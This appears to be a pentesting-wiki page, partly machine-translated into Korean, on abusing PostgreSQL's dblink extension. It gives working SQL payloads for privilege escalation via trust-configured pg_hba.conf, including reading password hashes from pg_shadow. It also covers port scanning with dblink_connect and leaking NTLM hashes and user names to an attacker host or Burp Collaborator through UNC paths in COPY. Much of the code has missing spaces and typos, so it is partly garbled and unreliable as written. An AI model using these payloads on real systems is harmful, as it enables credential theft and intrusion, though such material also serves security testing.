Once you have dblink loaded you could be able to perform some interesting tricks:
Privilege Escalation
파일 pg_hba.conf가 잘못 구성되어 비밀번호를 알 필요 없이모든 사용자로부터 localhost의 연결을 허용할 수 있습니다. 이 파일은 일반적으로 /etc/postgresql/12/main/pg_hba.conf에 위치하며, 잘못된 구성은 다음과 같습니다:
local all all trust
이 구성은 관리자가 비밀번호를 잊어버렸을 때 db 사용자의 비밀번호를 수정하는 데 일반적으로 사용되므로, 때때로 이를 발견할 수 있습니다.또한 pg_hba.conf 파일은 postgres 사용자 및 그룹만 읽을 수 있으며, postgres 사용자만 쓸 수 있습니다.
이 경우는 유용합니다만약 당신이 이미 피해자 안에 쉘을 가지고 있다면, 이는 당신이 postgresql 데이터베이스에 연결할 수 있게 해줍니다.
또 다른 가능한 잘못된 구성은 다음과 같은 것입니다:
host all all 127.0.0.1/32 trust
로컬호스트의 모든 사용자가 데이터베이스에 연결할 수 있게 됩니다.
이 경우 dblink 함수가 작동하면, 이미 설정된 연결을 통해 데이터베이스에 연결하여 접근할 수 없는 데이터에 접근함으로써 권한 상승을 할 수 있습니다:
SELECT*FROM dblink('host=127.0.0.1user=postgresdbname=postgres','SELECT datname FROM pg_database')RETURNS (result TEXT);SELECT*FROM dblink('host=127.0.0.1user=postgresdbname=postgres','select usename, passwd from pg_shadow')RETURNS (result1 TEXT, result2 TEXT);
Port Scanning
dblink_connect를 악용하여 열려 있는 포트를 검색할 수 있습니다. 만약 그 **기능이 작동하지 않으면 문서에 따르면 dblink_connect_u()를 사용해 보아야 합니다. dblink_connect_u()는 dblink_connect()와 동일하지만, 비슈퍼유저가 모든 인증 방법을 사용하여 연결할 수 있도록 허용합니다._
SELECT*FROM dblink_connect('host=216.58.212.238port=443user=namepassword=secretdbname=abcconnect_timeout=10');//Different response// Port closedRROR: could not establish connectionDETAIL: could notconnecttoserver: Connection refusedIs the server running on host "127.0.0.1"and acceptingTCP/IP connections on port 4444?// Port Filtered/TimeoutERROR: could not establish connectionDETAIL: timeout expired// Accessing HTTPserverERROR: could not establish connectionDETAIL: timeout expired// Accessing HTTPS serverERROR: could not establish connectionDETAIL: received invalid response toSSL negotiation:
사용하기 전에dblink_connect 또는 dblink_connect_u를 사용할 수 있도록 다음을 실행해야 할 수 있습니다:
CREATE extension dblink;
UNC 경로 - NTLM 해시 유출
-- can be used to leak hashes to Responder/equivalentCREATETABLEtest();COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp CollaboratorCREATETABLEtest(retval text);CREATE OR REPLACEFUNCTIONtestfunc() RETURNS VOID AS $$DECLARE sqlstring TEXT;DECLARE userval TEXT;BEGINSELECTINTO userval (SELECT user);sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';EXECUTE sqlstring;END;$$ LANGUAGE plpgsql SECURITY DEFINER;SELECT testfunc();